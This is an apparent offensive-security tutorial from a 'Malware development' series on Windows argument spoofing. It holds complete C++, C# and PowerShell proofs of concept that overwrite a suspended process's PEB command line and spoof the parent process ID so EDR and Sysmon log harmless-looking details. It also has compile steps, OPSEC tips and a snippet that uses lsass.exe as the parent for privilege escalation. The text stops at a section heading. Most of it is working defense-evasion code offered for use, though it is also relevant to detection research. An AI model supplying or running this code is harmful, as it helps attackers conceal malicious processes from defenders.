ᛉ Yggdrasil

Malware development

Argument Spoofing

22 Sep 2026 · 9,561 words · 43 min

Contents

Legend: [SPOOF] = Spoofing technique | [PEB] = PEB manipulation | [PPID] = Parent PID spoofing | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [API] = Windows API call


1. What is Argument Spoofing & Why It Matters

What it means: Argument spoofing is a family of defense evasion techniques that manipulate what security tools see about a running process — specifically its command-line arguments, parent process identity, environment variables, and working directory — without affecting what the process actually executes.

The core problem EDR solves (and attackers abuse):

Normal detection flow:
Word.exe  →  spawns  →  powershell.exe -enc <base64_payload>
                                 ↓
    EDR: "Word spawned PowerShell with suspicious args!" → ALERT

With PPID Spoofing:
Word.exe  →  spawns  →  powershell.exe -enc <base64_payload>
                     (disguised as explorer.exe → powershell.exe)
                                 ↓
    EDR: "explorer.exe spawned PowerShell with innocent args" → ALLOW

Why it matters for red teaming:

Scenario No Spoofing With Argument Spoofing
Office macro spawns PowerShell "Word → PowerShell" rule fires Appears as "explorer.exe → PowerShell"
Process launches with malicious args CmdLine logged and flagged Innocent-looking args logged
Beacon runs encoded payload Suspicious encoded cmd logged Nothing to see here
Environment vars reveal intent COMPlus_ETWEnabled=0 visible Spoofed before ETW captures it
Process tree looks suspicious Obvious parent–child chain Clean, believable lineage

The key insight:

Windows logs the command-line AT PROCESS CREATION TIME from the PEB.
The PEB lives in USER MODE — so it can be modified after creation but before execution.

Window:  [CreateProcess SUSPENDED] → [Modify PEB] → [ResumeThread]
                                           ↑
                           EDR reads CmdLine here (logged already)
                           Process reads CmdLine here (modified version)

[OPSEC] Argument spoofing does not touch the network or write to disk. It operates entirely in memory using documented Windows APIs, making it extremely stealthy.


2. Windows Process Internals — PEB Deep Dive

What it means: Every Windows process has a Process Environment Block (PEB) — a user-mode data structure containing process metadata. Argument spoofing works by manipulating fields inside the PEB before process execution begins.

2.1 PEB Structure Overview

PEB (Process Environment Block)
├── InheritedAddressSpace
├── ReadImageFileExecOptions
├── BeingDebugged
├── BitField (...)
├── Mutant
├── ImageBaseAddress
├── Ldr                          ← Loader data (module list)
├── ProcessParameters            ← RTL_USER_PROCESS_PARAMETERS *  ← KEY TARGET
│    ├── MaximumLength
│    ├── Length
│    ├── Flags
│    ├── DebugFlags
│    ├── ConsoleHandle
│    ├── ConsoleFlags
│    ├── StandardInput
│    ├── StandardOutput
│    ├── StandardError
│    ├── CurrentDirectory         ← WorkingDirectory UNICODE_STRING  ← SPOOF TARGET
│    ├── DllPath
│    ├── ImagePathName
│    ├── CommandLine              ← UNICODE_STRING  ← MAIN SPOOF TARGET
│    ├── Environment              ← Pointer to env block  ← SPOOF TARGET
│    ├── StartingX
│    ├── StartingY
│    ├── CountX / CountY
│    ├── WindowTitle              ← UNICODE_STRING  ← SPOOF TARGET
│    └── DesktopInfo
├── AtlThunkSListPtr
├── ApiSetMap
└── ...

2.2 UNICODE_STRING Structure

// The CommandLine field is of type UNICODE_STRING
typedef struct _UNICODE_STRING {
    USHORT Length;          // Length of string in BYTES (not chars!)
    USHORT MaximumLength;   // Capacity in BYTES
    PWSTR  Buffer;          // Pointer to wide-char string (WCHAR*)
} UNICODE_STRING, *PUNICODE_STRING;
Key rules when modifying CommandLine UNICODE_STRING:
1. Length     = wcslen(newStr) * 2       (bytes, NOT characters)
2. MaximumLength = Length + 2            (include null terminator)
3. Buffer     = points to WCHAR array
4. The FAKE cmdline (logged by EDR) must be >= length of REAL cmdline
   (you can shorten apparent length by setting Length field smaller)

2.3 How EDR Reads Command-Line Arguments

EDR interception points:
1. NtCreateUserProcess callback (Kernel) → reads args from process object
2. Process creation ETW event → logs args from PEB snapshot at creation
3. Sysmon Event ID 1 → reads from PEB of newly created process

The race condition:
  T0: CreateProcess(CMD_TO_SHOW) → process created suspended
  T1: EDR/Sysmon reads PEB → logs CMD_TO_SHOW  ← FAKE ARGS LOGGED HERE
  T2: Attacker modifies PEB CommandLine → writes CMD_TO_EXEC
  T3: ResumeThread() → process starts with CMD_TO_EXEC
  T4: Process reads its own PEB → sees CMD_TO_EXEC  ← REAL ARGS USED

2.4 Locating the PEB in a Remote Process

// Method 1: NtQueryInformationProcess (from ntdll.dll)
// The most reliable way to get PEB address of another process

typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength,
    PULONG           ReturnLength
);

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB  PebBaseAddress;       // ← PEB address lives here
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

// Usage:
NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
    GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");

PROCESS_BASIC_INFORMATION pbi = {0};
DWORD returnLen = 0;
NtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLen);

// pbi.PebBaseAddress now holds the remote process's PEB address

3. Technique 1 — Command Line Argument Spoofing (PEB Overwrite)

What it means: Spawn a process in suspended state with innocent-looking fake arguments. Before resuming, locate the PEB in the remote process, find the CommandLine buffer inside ProcessParameters, overwrite it with the real malicious arguments, then resume. EDR logs the fake args; the process runs the real ones.

[SPOOF] [PEB] [EVASION]

3.1 How It Works — Step by Step

Step 1: CreateProcess(CMD_TO_SHOW, CREATE_SUSPENDED)
        → spawns process, logs CMD_TO_SHOW to Sysmon/ETW

Step 2: NtQueryInformationProcess → get PEB address

Step 3: ReadProcessMemory(PEB) → read PEB structure

Step 4: ReadProcessMemory(PEB.ProcessParameters) → read params structure

Step 5: WriteProcessMemory(params.CommandLine.Buffer, CMD_TO_EXEC)
        → overwrite commandline in place

Step 6: [Optional] Update CommandLine.Length to control truncation

Step 7: ResumeThread() → process executes CMD_TO_EXEC

Constraint: sizeof(CMD_TO_SHOW) >= sizeof(CMD_TO_EXEC)
            (can't write more bytes than what was originally allocated)

3.2 Full C++ Implementation

// cmdline_spoof.cpp — Command Line Argument Spoofing
// Author: Based on Adam Chester (@_xpn_) "How to Argue like Cobalt Strike"
// MITRE: T1564.010 — Hide Artifacts: Process Argument Spoofing

#include <iostream>
#include <windows.h>
#include <winternl.h>

// ─── Configuration ────────────────────────────────────────────
// CMD_TO_SHOW: What EDR / Sysmon / Task Manager will see (FAKE - must be >= CMD_TO_EXEC size)
#define CMD_TO_SHOW  "notepad.exe C:\\Windows\\System32\\kernel32.dll"
// CMD_TO_EXEC: What the process actually runs (REAL)
#define CMD_TO_EXEC  L"notepad.exe C:\\Users\\Victim\\malicious.txt"
// ──────────────────────────────────────────────────────────────

typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);

// Helper: Read arbitrary bytes from remote process
PVOID readProcessMemory(HANDLE hProcess, PVOID address, SIZE_T size) {
    PVOID buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(hProcess, address, buffer, size, &bytesRead)) {
        VirtualFree(buffer, 0, MEM_RELEASE);
        return NULL;
    }
    return buffer;
}

// Helper: Write bytes to remote process
BOOL writeProcessMemory(HANDLE hProcess, PVOID address, PVOID data, SIZE_T size) {
    SIZE_T bytesWritten = 0;
    return WriteProcessMemory(hProcess, address, data, size, &bytesWritten);
}

int main() {
    STARTUPINFOA  si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    BOOL success;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    DWORD retLen = 0;
    SIZE_T bytesRead = 0;
    PEB pebLocal = { 0 };
    RTL_USER_PROCESS_PARAMETERS* params = NULL;

    printf("[*] Argument Spoofing PoC\n");
    printf("[*] Fake args (logged): %s\n", CMD_TO_SHOW);
    printf("[*] Real args (executed): %ls\n\n", CMD_TO_EXEC);

    // Step 1: Create process SUSPENDED with the FAKE arguments
    // These are what Sysmon Event ID 1 / EDR will log
    success = CreateProcessA(
        NULL,
        (LPSTR)CMD_TO_SHOW,         // ← Fake command line (logged)
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
        NULL,
        "C:\\Windows\\System32\\",  // Working directory
        &si,
        &pi
    );

    if (!success) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process spawned (suspended), PID: %lu\n", pi.dwProcessId);

    // Step 2: Get PEB address via NtQueryInformationProcess
    NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
        GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");

    NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
    printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

    // Step 3: Read the PEB from remote process memory
    success = ReadProcessMemory(
        pi.hProcess,
        pbi.PebBaseAddress,
        &pebLocal,
        sizeof(PEB),
        &bytesRead
    );
    if (!success) {
        printf("[-] ReadProcessMemory (PEB) failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    printf("[+] ProcessParameters Address: 0x%p\n", pebLocal.ProcessParameters);

    // Step 4: Read ProcessParameters from remote process
    params = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
        pi.hProcess,
        pebLocal.ProcessParameters,
        sizeof(RTL_USER_PROCESS_PARAMETERS) + 512
    );
    if (!params) {
        printf("[-] ReadProcessMemory (ProcessParameters) failed\n");
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    printf("[+] CommandLine Buffer Address: 0x%p\n", params->CommandLine.Buffer);
    printf("[+] Original (fake) CommandLine length: %u bytes\n", params->CommandLine.Length);

    // Step 5: Overwrite CommandLine.Buffer with REAL (malicious) arguments
    // This is what the process will actually read at runtime
    WCHAR realArgs[] = CMD_TO_EXEC;
    success = writeProcessMemory(
        pi.hProcess,
        params->CommandLine.Buffer,
        (void*)realArgs,
        sizeof(realArgs)
    );
    if (!success) {
        printf("[-] WriteProcessMemory (CommandLine) failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    printf("[+] Real args written to process memory\n");

    // Step 6 (Optional): Truncate the visible length
    // Set CommandLine.Length to a smaller value → tools show truncated string
    // This makes even live inspection see shorter, innocent-looking args
    DWORD_PTR cmdLenOffset = (DWORD_PTR)pebLocal.ProcessParameters +
                              offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine) +
                              offsetof(UNICODE_STRING, Length);
    USHORT newLen = (USHORT)(wcslen(realArgs) * sizeof(WCHAR));
    writeProcessMemory(pi.hProcess, (PVOID)cmdLenOffset, &newLen, sizeof(USHORT));

    // Step 7: Resume the process — it now runs with the REAL arguments
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed — process executing with spoofed arguments\n");

    // Cleanup
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    VirtualFree(params, 0, MEM_RELEASE);

    return 0;
}

3.3 Compile & Run

# MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-g++ cmdline_spoof.cpp -o cmdline_spoof.exe \
    -lntdll -lkernel32

# MSVC (Windows)
cl.exe cmdline_spoof.cpp /Fe:cmdline_spoof.exe

# Run
.\cmdline_spoof.exe

# Observe in Sysmon / Task Manager / Process Hacker:
# → Logged args:  notepad.exe C:\Windows\System32\kernel32.dll
# → Actual exec:  notepad.exe C:\Users\Victim\malicious.txt

3.4 C# Implementation

// CmdlineSpoof.cs — C# argument spoofing using P/Invoke
// Based on the Cobalt Strike technique by Adam Chester

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class CmdlineSpoof
{
    // P/Invoke declarations
    [DllImport("ntdll.dll", SetLastError = true)]
    static extern int NtQueryInformationProcess(
        IntPtr processHandle,
        int processInformationClass,
        ref PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        out int returnLength);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool ReadProcessMemory(
        IntPtr hProcess, IntPtr lpBaseAddress,
        [Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(
        IntPtr hProcess, IntPtr lpBaseAddress,
        byte[] lpBuffer, int dwSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint ResumeThread(IntPtr hThread);

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_BASIC_INFORMATION {
        public IntPtr Reserved1;
        public IntPtr PebBaseAddress;
        public IntPtr Reserved2_0;
        public IntPtr Reserved2_1;
        public IntPtr UniqueProcessId;
        public IntPtr Reserved3;
    }

    static void Main(string[] args)
    {
        // Configuration
        string fakeArgs = "notepad.exe C:\\Windows\\System32\\kernel32.dll"; // Logged by EDR
        string realArgs = "notepad.exe C:\\Users\\User\\payload.txt";        // Actually executes

        Console.WriteLine("[*] C# Argument Spoofing");
        Console.WriteLine($"[*] Fake (logged): {fakeArgs}");
        Console.WriteLine($"[*] Real (executed): {realArgs}");

        // Step 1: Spawn process suspended with fake args
        var psi = new ProcessStartInfo {
            FileName  = "notepad.exe",
            Arguments = fakeArgs.Substring("notepad.exe ".Length),
            CreateNoWindow = false
        };

        // Use CreateProcess via P/Invoke for CREATE_SUSPENDED
        STARTUPINFO si     = new STARTUPINFO();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        si.cb = Marshal.SizeOf(si);

        bool created = CreateProcess(
            null, fakeArgs, IntPtr.Zero, IntPtr.Zero,
            false, 0x00000004 /* CREATE_SUSPENDED */, IntPtr.Zero,
            @"C:\Windows\System32\", ref si, out pi
        );

        if (!created) {
            Console.WriteLine("[-] CreateProcess failed");
            return;
        }
        Console.WriteLine($"[+] Process PID: {pi.dwProcessId}");

        // Step 2: Get PEB address
        var pbi = new PROCESS_BASIC_INFORMATION();
        NtQueryInformationProcess(pi.hProcess, 0, ref pbi, Marshal.SizeOf(pbi), out _);
        IntPtr pebAddress = pbi.PebBaseAddress;
        Console.WriteLine($"[+] PEB: 0x{pebAddress.ToInt64():X}");

        // Step 3: Read PEB (8-byte pointer at offset 0x20 for x64 = ProcessParameters)
        byte[] pebBuffer = new byte[0x100];
        ReadProcessMemory(pi.hProcess, pebAddress, pebBuffer, pebBuffer.Length, out _);
        IntPtr processParamsPtr = (IntPtr)BitConverter.ToInt64(pebBuffer, 0x20);

        // Step 4: Read ProcessParameters
        byte[] ppBuffer = new byte[0x400];
        ReadProcessMemory(pi.hProcess, processParamsPtr, ppBuffer, ppBuffer.Length, out _);

        // CommandLine.Buffer is at offset 0x70 (x64) in RTL_USER_PROCESS_PARAMETERS
        IntPtr cmdLineBufPtr = (IntPtr)BitConverter.ToInt64(ppBuffer, 0x70);
        Console.WriteLine($"[+] CommandLine.Buffer: 0x{cmdLineBufPtr.ToInt64():X}");

        // Step 5: Write real arguments
        byte[] realArgBytes = System.Text.Encoding.Unicode.GetBytes(realArgs + "\0");
        WriteProcessMemory(pi.hProcess, cmdLineBufPtr, realArgBytes, realArgBytes.Length, out _);
        Console.WriteLine("[+] Real args written");

        // Step 6: Resume
        ResumeThread(pi.hThread);
        Console.WriteLine("[+] Process resumed with spoofed arguments!");
    }

    // Additional P/Invoke structures
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CreateProcess(
        string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
        bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
    struct STARTUPINFO {
        public int    cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public int    dwX, dwY, dwXSize, dwYSize;
        public int    dwXCountChars, dwYCountChars;
        public int    dwFillAttribute;
        public int    dwFlags;
        public short  wShowWindow;
        public short  cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION {
        public IntPtr hProcess, hThread;
        public uint   dwProcessId, dwThreadId;
    }
}

3.5 PowerShell One-Liner (Proof of Concept)

# PowerShell argument spoofing using Add-Type and Win32 P/Invoke
# Quick PoC to demonstrate the technique

$code = @"
using System;
using System.Runtime.InteropServices;
public class ArgSpoof {
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string a, string b, IntPtr c,
        IntPtr d, bool e, uint f, IntPtr g, string h, ref byte[] i, out long[] j);
    // ... (simplified - see full C# above for production use)
}
"@

# Minimal demonstration: show the key API sequence
# 1. Spawn suspended
$si = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(100)
# 2. Read PEB → NtQueryInformationProcess
# 3. Find CommandLine.Buffer
# 4. WriteProcessMemory with real args
# 5. ResumeThread

Write-Host "[*] Full PoC requires the C# or C++ version above"
Write-Host "[*] Key API sequence:"
Write-Host "    CreateProcess (CREATE_SUSPENDED=4)"
Write-Host "    NtQueryInformationProcess(ProcessBasicInformation=0)"
Write-Host "    ReadProcessMemory  → PEB → ProcessParameters → CommandLine.Buffer"
Write-Host "    WriteProcessMemory → overwrite with real args"
Write-Host "    ResumeThread"

3.6 OPSEC Notes — CmdLine Spoofing

[DETECT] What security tools see:
  Sysmon Event ID 1 → logs CommandLine at process creation (FAKE args)
  ETW Microsoft-Windows-Kernel-Process → may log real or fake depending on timing
  EDR API hooks → hooks may capture real args via kernel callbacks

[OPSEC] Constraint — fake args must be LONGER than real args:
  Reason: CommandLine.Buffer is a fixed-size allocation. You can write
  fewer bytes into it (appear shorter) but not more bytes (buffer overflow).
  Solution: Make fake args longer by padding with spaces or extra args.

[OPSEC] Update the Length field:
  After writing real args, update UNICODE_STRING.Length to reflect new length.
  Otherwise tools reading PEB live (Process Hacker) may show truncated strings.

[EVASION] Sleep before ResumeThread:
  Some EDRs snapshot PEB shortly after CreateProcess.
  Brief Sleep() after creation but before resume gives EDR time to log
  the fake args before you overwrite them.

[DETECT] Live inspection tools (Process Hacker, Process Explorer):
  These re-read the PEB each time you look → they WILL see the real args
  after overwrite. Only tools that log at creation time see the fake args.

4. Technique 2 — Parent Process ID (PPID) Spoofing

What it means: Windows allows specifying an arbitrary parent process when creating a new process via CreateProcess with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. This makes the new process appear to be a child of any chosen process (e.g., explorer.exe, svchost.exe) rather than the actual calling process.

[PPID] [EVASION]

4.1 Why PPID Spoofing Defeats EDR Rules

Common EDR/SIEM behavioral rules:
  "Alert if Word.exe spawns PowerShell.exe"
  "Alert if Excel.exe spawns cmd.exe"
  "Alert if PowerShell.exe spawns mshta.exe"

PPID Spoofing bypass:
  Attacker running inside Word.exe → spawns PowerShell.exe
  BUT: specifies explorer.exe (PID 1234) as parent

  What EDR sees: explorer.exe (1234) → PowerShell.exe
  Actual truth:  Word.exe (ATTACKER) → PowerShell.exe

  Result: "explorer.exe spawned PowerShell" → benign, normal → NO ALERT

4.2 Key Windows APIs

[API] InitializeProcThreadAttributeList
  → Initializes attribute list for extended process/thread creation.
  → Call TWICE: first with NULL buffer to get required size, then with allocated buffer.

[API] UpdateProcThreadAttribute
  → Sets PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.
  → Accepts handle to desired "parent" process.

[API] CreateProcess (with EXTENDED_STARTUPINFO_PRESENT flag)
  → Uses STARTUPINFOEX structure with lpAttributeList set.

[API] OpenProcess
  → Opens handle to target parent process (needs PROCESS_CREATE_PROCESS access).

[API] DeleteProcThreadAttributeList
  → Cleanup after CreateProcess.

4.3 Full C++ Implementation

// ppid_spoof.cpp — Parent PID Spoofing
// Makes notepad.exe appear as a child of explorer.exe
// MITRE: T1134.004 — Access Token Manipulation: Parent PID Spoofing

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>

// Find PID of a process by name
DWORD GetProcessIdByName(const std::wstring& processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(hSnapshot, &pe32)) {
        do {
            if (processName == pe32.szExeFile) {
                CloseHandle(hSnapshot);
                return pe32.th32ProcessID;
            }
        } while (Process32NextW(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return 0;
}

// Core PPID spoofing function
BOOL SpawnWithSpoofedPPID(
    const wchar_t* targetProcess,   // Process to spawn
    const wchar_t* spoofedParent,   // Process to appear as parent
    PROCESS_INFORMATION* piOut
) {
    STARTUPINFOEXW si = { 0 };
    SIZE_T attributeSize = 0;
    BOOL result = FALSE;

    // Step 1: Find PID of the process we want to appear as parent
    DWORD parentPID = GetProcessIdByName(spoofedParent);
    if (parentPID == 0) {
        printf("[-] Could not find process: %ls\n", spoofedParent);
        return FALSE;
    }
    printf("[+] Found %ls, PID: %lu\n", spoofedParent, parentPID);

    // Step 2: Open a handle to the target parent process
    HANDLE hParent = OpenProcess(
        PROCESS_CREATE_PROCESS,  // Required for PPID spoofing
        FALSE,
        parentPID
    );
    if (!hParent) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Opened handle to %ls\n", spoofedParent);

    // Step 3: Get required attribute list size (call with NULL first)
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);

    // Step 4: Allocate memory for attribute list
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)
        HeapAlloc(GetProcessHeap(), 0, attributeSize);
    if (!si.lpAttributeList) {
        printf("[-] HeapAlloc failed\n");
        CloseHandle(hParent);
        return FALSE;
    }

    // Step 5: Initialize attribute list
    if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize)) {
        printf("[-] InitializeProcThreadAttributeList failed: %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
        CloseHandle(hParent);
        return FALSE;
    }

    // Step 6: Update attribute — set PARENT PROCESS to our chosen process
    if (!UpdateProcThreadAttribute(
        si.lpAttributeList,
        0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // ← Magic attribute
        &hParent,
        sizeof(HANDLE),
        NULL,
        NULL
    )) {
        printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
        DeleteProcThreadAttributeList(si.lpAttributeList);
        HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
        CloseHandle(hParent);
        return FALSE;
    }

    // Step 7: Set up STARTUPINFOEX
    si.StartupInfo.cb = sizeof(STARTUPINFOEXW);

    // Step 8: Create process with EXTENDED_STARTUPINFO_PRESENT flag
    wchar_t cmdLine[MAX_PATH] = {0};
    wcscpy_s(cmdLine, targetProcess);

    result = CreateProcessW(
        NULL,
        cmdLine,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // ← Key flag
        NULL,
        NULL,
        (LPSTARTUPINFOW)&si,
        piOut
    );

    if (!result) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
    } else {
        printf("[+] Process created! PID: %lu\n", piOut->dwProcessId);
        printf("[+] Appears as child of: %ls (PID %lu)\n", spoofedParent, parentPID);
    }

    // Cleanup
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(hParent);

    return result;
}

int main() {
    printf("[*] PPID Spoofing PoC\n\n");

    PROCESS_INFORMATION pi = { 0 };

    // Spawn notepad.exe appearing as child of explorer.exe
    // Change L"explorer.exe" to any target parent (svchost.exe, lsass.exe, etc.)
    if (SpawnWithSpoofedPPID(
            L"notepad.exe",    // Process to launch
            L"explorer.exe",   // Fake parent
            &pi))
    {
        printf("\n[+] Success! Check Process Hacker / Task Manager:\n");
        printf("    notepad.exe should show explorer.exe as parent\n");

        WaitForSingleObject(pi.hProcess, 5000);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }

    return 0;
}

4.4 Compile & Run

# Compile with MinGW
x86_64-w64-mingw32-g++ ppid_spoof.cpp -o ppid_spoof.exe -lkernel32

# Compile with MSVC
cl.exe ppid_spoof.cpp /Fe:ppid_spoof.exe

# Run (no admin needed for basic PPID spoofing)
.\ppid_spoof.exe

# Verify:
#   Open Process Hacker → Find notepad.exe
#   Parent should show: explorer.exe
#   NOT: ppid_spoof.exe (actual parent)

4.5 PPID Spoofing for Privilege Escalation

// elevation_via_ppid.cpp — Inherit SYSTEM token via PPID
// Spawn process appearing as child of lsass.exe → inherits access token
// REQUIRES: Admin rights to open lsass.exe

// ⚠ lsass.exe requires PROCESS_CREATE_PROCESS — needs admin

DWORD lsassPID = GetProcessIdByName(L"lsass.exe");

HANDLE hLsass = OpenProcess(
    PROCESS_CREATE_PROCESS,  // Need this access right
    FALSE,
    lsassPID
);

// Then follow same PPID spoofing flow with hLsass as parent handle
// The spawned process inherits the SYSTEM token from lsass context

// Alternative elevated parents:
// - winlogon.exe  (runs as SYSTEM)
// - services.exe  (runs as SYSTEM)
// - lsass.exe     (runs as SYSTEM, most commonly used)
// - spoolsv.exe   (runs as SYSTEM)

4.6 PPID Spoofing in PowerShell

# ppid_spoof.ps1 — PowerShell PPID spoofing via Add-Type + P/Invoke

$code = @"
using System;
using System.Runtime.InteropServices;

public class PPIDSpoof {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint dwAccess, bool bInherit, uint dwPID);

    [DllImport("kernel32.dll")]
    public static extern bool InitializeProcThreadAttributeList(
        IntPtr lpAttributeList, int dwAttributeCount,
        int dwFlags, ref IntPtr lpSize);

    [DllImport("kernel32.dll")]
    public static extern bool UpdateProcThreadAttribute(
        IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute,
        ref IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue,
        IntPtr lpReturnSize);

    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(
        string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
        bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        [In] ref STARTUPINFOEX lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll")]
    public static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);

    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr hObject);

    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFOEX {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO {
        public int    cb;
        public string lpReserved, lpDesktop, lpTitle;
        public int    dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars,
                      dwFillAttribute, dwFlags;
        public short  wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION {
        public IntPtr hProcess, hThread;
        public uint   dwProcessId, dwThreadId;
    }
}
"@

Add-Type -TypeDefinition $code

# Get explorer.exe PID
$explorerPID = (Get-Process explorer | Select-Object -First 1).Id
Write-Host "[*] Spoofing PPID → explorer.exe (PID: $explorerPID)"

# Open handle to explorer
$PROCESS_CREATE_PROCESS = 0x0080
$hParent = [PPIDSpoof]::OpenProcess($PROCESS_CREATE_PROCESS, $false, [uint32]$explorerPID)
Write-Host "[+] Handle to explorer: 0x$($hParent.ToString('X'))"

# Initialize attribute list
$attrSize = [IntPtr]::Zero
[PPIDSpoof]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$attrSize) | Out-Null

$attrList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($attrSize)
[PPIDSpoof]::InitializeProcThreadAttributeList($attrList, 1, 0, [ref]$attrSize) | Out-Null

# Set parent process attribute
$PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = [IntPtr]0x00020000
[PPIDSpoof]::UpdateProcThreadAttribute(
    $attrList, 0,
    $PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    [ref]$hParent,
    [IntPtr][System.Runtime.InteropServices.Marshal]::SizeOf($hParent),
    [IntPtr]::Zero, [IntPtr]::Zero
) | Out-Null

# Create process
$si = New-Object PPIDSpoof+STARTUPINFOEX
$si.StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
$si.lpAttributeList = $attrList

$pi = New-Object PPIDSpoof+PROCESS_INFORMATION

$EXTENDED_STARTUPINFO_PRESENT = 0x00080000
[PPIDSpoof]::CreateProcess($null, "notepad.exe", [IntPtr]::Zero, [IntPtr]::Zero,
    $false, [uint32]$EXTENDED_STARTUPINFO_PRESENT, [IntPtr]::Zero,
    $null, [ref]$si, [ref]$pi) | Out-Null

Write-Host "[+] Spawned notepad.exe as PID: $($pi.dwProcessId)"
Write-Host "[+] Appears as child of: explorer.exe (PID: $explorerPID)"

# Cleanup
[PPIDSpoof]::DeleteProcThreadAttributeList($attrList)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($attrList)
[PPIDSpoof]::CloseHandle($hParent)

4.7 OPSEC Notes — PPID Spoofing

